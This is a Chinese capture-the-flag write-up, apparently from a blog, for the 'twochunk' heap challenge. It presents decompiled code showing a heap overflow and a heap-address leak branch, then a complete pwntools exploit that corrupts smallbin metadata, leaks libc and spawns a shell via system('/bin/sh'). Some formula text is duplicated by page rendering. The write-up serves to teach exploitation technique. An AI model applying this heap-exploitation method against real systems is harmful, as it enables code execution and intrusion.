程序最多能够添加2chunk,并且 s i z e ∈ ( 0 x 80 , 0 x 3 f f ] \textcolor{orange}{size\in(0x80,0x3ff]} size(0x80,0x3ff]。程序只能有一次编辑和输出的机会,另外隐藏选项6可以获得额外的一次分配0x80大小的chunk和编辑该chunk的机会;隐藏选项7则是将程序一开始**mmap()**映射的内存当做函数指针进行调用,这会是一个最终的利用点。

程序的漏洞点在编辑函数中:

__int64 Edit_once()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("just edit once!");
  if ( !dword_4014 )
    Exit();
  printf("idx: ");
  v1 = GetId();
  if ( !(&g_HeapList)[2 * v1] )
    Exit();
  printf("content: ");
  read(0, (&g_HeapList)[2 * v1], g_SizeList[4 * v1] + 0x20);// 堆溢出
  return (dword_4014-- - 1);
}

我们首选还是要泄露堆地址,注意到程序在新建的操作中有个if分支:

int Add()
{
  _DWORD *v0; // rax
  int v2; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  v2 = GetId();                                 // 只能输入0和1
  if ( (&g_HeapList)[2 * v2] )
    Exit();
  printf("size: ");
  size = GetNum();
  if ( size == 0x5B25 && dword_4020 )           // 泄露堆地址需要用到这个分支
  {
    (&g_HeapList)[2 * v2] = malloc(0xE9uLL);
    --dword_4020;
  }
  else
  {
    if ( size <= 0x80 || size > 0x3FF )         // 只能分配unsortedbin的chunk
      Exit();
    (&g_HeapList)[2 * v2] = calloc(1uLL, size);
  }
  if ( strchr((&g_HeapList)[2 * v2], 0x7F) )
    Exit();
  g_SizeList[4 * v2] = size;
  if ( (&g_HeapList)[2 * v2] )
  {
    LODWORD(v0) = puts("success");
  }
  else
  {
    (&g_HeapList)[2 * v2] = 0LL;
    v0 = g_SizeList;
    g_SizeList[4 * v2] = 0;
  }
  return v0;
}

c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配出来的内存会被自动清空,所以需要使用 m a l l o c ( ) \textcolor{cornflowerblue}{malloc()} malloc()进行分配。

最后只要想办法能够操控处于 s m a l l b i n   c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunk上方且和 s m a l l b i n   c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunk相邻的chunk,就能够溢出修改 s m a l l b i n   c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunkbk了。

[EXP]:

#coding=utf8
"""
# Author: brucy
# Created Time : Mon 07 Dec 2020 06:24:47 PM PST

# File Name: exp.py
# Description:

"""
from pwn import*

#context.log_level=1

def Login(name,msg):
    p.sendafter('name: ',name)
    p.sendafter('message: ',msg)

def Add(idx,size):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('idx: ',str(idx))
    p.sendlineafter('size: ',str(size))

def Del(idx):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('idx: ',str(idx))

def Showonce(idx):
    p.sendlineafter('choice: ','3')
    p.sendlineafter('idx: ',str(idx))

def Editonce(idx,text):
    p.sendlineafter('choice: ','4')
    p.sendlineafter('idx: ',str(idx))
    p.sendafter('content: ',text)

def Add_And_Edit_Once(text):
    p.sendlineafter('choice: ','6')
    p.sendlineafter('message: ',text)

def Show_Mem_Once():
    p.sendlineafter('choice: ','5')

def Call_Mem():
    p.sendlineafter('choice: ','7')


p=process('./twochunk')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
Mem_addr=0x23333000 


Login(p64(Mem_addr+0x20)*6,'a'*0x40)

Add(0,0xf0)
Del(0)
Add(0,0xf0)
Del(0)
Add(1,0xf0)
Add(0,0x5b25)
Showonce(0)
heap=u64(p.recv(6).ljust(8,'\0'))-0x260
success('heap:'+hex(heap))
Del(0)
Del(1)

for i in range(5):
    Add(0,0x88)
    Del(0)

for i in range(7):
    Add(0,0x300)
    Del(0)

Add(0,0x300)
Add(1,0x90)
Del(0)
Del(1)
Add(0,0x270)
Del(0)
Add(0,0x270)
Del(0)

Add(0,0x300)
Add(1,0x90)
Del(0)
Del(1)
Add(0,0x270)
Add(1,0x270)
fake='\0'*0x270+p64(0)+p64(0x91)+p64(heap+0x2010)+p64(Mem_addr-0x10)
Editonce(0,fake)

Del(1)
Add(1,0x88)
Del(0)

Show_Mem_Once()
p.recv(0x15)
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x1e4c40-224
success('libc_base:'+hex(libc_base))

Add_And_Edit_Once(p64(libc.sym['system']+libc_base)+p64(libc.search('/bin/sh').next()+libc_base)*10)
Call_Mem()

p.interactive()
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值